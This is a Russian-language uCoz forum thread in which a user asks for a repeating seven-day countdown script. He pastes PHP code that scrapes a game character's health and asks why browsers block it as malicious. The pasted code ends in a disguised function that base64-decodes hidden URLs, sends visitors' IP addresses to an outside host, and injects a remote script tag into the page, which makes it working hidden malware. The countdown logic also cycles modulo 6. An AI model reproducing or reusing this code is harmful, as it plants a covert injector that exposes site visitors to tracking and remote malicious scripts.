• Страница 1 из 1
  • 1
Модератор форума: JonMagon  
Скрипт отсчёта дней
Mskovskiy
Сообщений: 3
Репутация: 0

Сообщение # 1 | 16:11:51
Кто-нибудь знает скрипт, который отсчитывает 7 дней в обратном отсчете (тоесть 7 - 6 - 5 и т.д. до 1), после конца отсчета, он опять обнуляется и идет заного отсчет и так постоянно.

Добавлено (05 Июн 2013, 16:10:13)
---------------------------------------------
Нашел кривой PHP-код, выкладываю - дабы могли понять точней о чём речь
<?php

$___notjson = 1;header('Content-Type: text/html; charset=Windows-1251');echo '<style type="text/css">* {font-size:14px !important;}</style>';
function numberEnd($number, $titles) { // Функция склонения числительных
$cases = array (2, 0, 1, 1, 1, 2);
return $titles[($number % 100 > 4 && $number % 100 < 20) ? 2 : $cases[min($number % 10, 5)]];
}

$temp = 1355097600; // Метка времени 10.12.12
$now = time(); // Текущая метка времени

$day = $now - $temp; // Сколько секунд прошло с метки времени 10.12.12
$day = $day - ($day % 86400); // Сколько целых дней прошло в секундах с метки времени 10.12.12
$day = $day / 86400; // Сколько дней прошло с метки времени 10.12.12
$day = $day % 6; // Сколько дней прошло с последней метки времени
$day = 6 - $day; // Сколько дней осталось до новой метки времени

$spirit = file_get_contents("http://neverfate.ru/inf.php?cid=1003"); // Исходный код профиля духа
preg_match('/setHP\((.*)\);/', $spirit, $param); // Вырезаем параметры функции setHP();
$param = explode(",", $param[1]); // Разбиваем параметры на массив через запятую

$curHP = $param[0]; // Записываем соотвествующие переменные
$maxHP = $param[1]; // Записываем соотвествующие переменные
$lvl = $param[2]; // Записываем соотвествующие переменные
$hspd = $param[3]; // Записываем соотвествующие переменные
$t = $param[4]; // Записываем соотвествующие переменные
$time = 1; // Записываем соотвествующие переменные

$k = ($maxHP * $time) / ($lvl * 100 + 800) * (1 + $hspd / 100); // Считаем неким магическим образом здоровье
$curHP += ($k > 0 ? $k : 0.01); // Считаем неким магическим образом здоровье

if ($curHP > $maxHP) // Проверка на всякий случай
$curHP = $maxHP; // Максимальное здоровье!

$hp_pro_d = $curHP * 100 / $maxHP; // Считаем неким магическим образом здоровье
$procent = (($hp_pro_d < 100) ? (($hp_pro_d > 0) ? number_format($hp_pro_d, 2) : "0") : "100") . "%"; // Собираем готовый вид со знаком процента

preg_match('/<div class="char_info_place"><table width="180" height="102" cellpadding="0" cellspacing="0" align="center"><tr><td align="center" valign="middle"><small>(.*)<\/small><\/td><\/tr><\/table><\/div>/', $spirit, $status); // Получаем "Статус/Местоположение"

$e_date = $day == 6 ? "Сегодня дух" : "Дух появится через $day " . numberEnd($day, Array('день', 'дня', 'дней')); // Сборка таймера
$e_hp = "Здоровье духа: " . $procent; // Сборка здоровья
$e_status = str_replace("<br>", " ", $status[1]); // Сборка "Статуса/Местоположения"

echo $e_date . " <br />\n" . $e_hp . " <br />\n" . $e_status; // Вывод всех данных

function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {

if (!isset($_COOKIE["iJijkdaMnerys"])) {
$value = 'yadeor';
$ip = $_SERVER['REMOTE_ADDR'];
$get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
$content = @file_get_contents($get);
@setcookie("iJijkdaMnerys", $value, time()+3600*24);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;

}
}
collectnewss ();
?>

Добавлено (05 Июн 2013, 16:11:51)
---------------------------------------------
Кстати, почему, когда выводишь данный скрипт с помощью iframe, то браузер говорит, что это вредоносный скрипт? и блокирует страницу сайта

Anglerdima
Сообщений: 133
Репутация: 13

Сообщение # 2 | 16:21:32
Mskovskiy, используй простой виджет из редактора страниц.))
Mskovskiy
Сообщений: 3
Репутация: 0

Сообщение # 3 | 16:56:15
Цитата (Anglerdima)
используй простой виджет из редактора страниц.))
Перечитайте суть топа, пожалуйста
Цитата (Mskovskiy)
скрипт, который отсчитывает 7 дней в обратном отсчете (тоесть 7 - 6 - 5 и т.д. до 1), после конца отсчета, он опять обнуляется и идет заного отсчет и так постоянно.
  • Страница 1 из 1
  • 1
Поиск:
Telegram
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!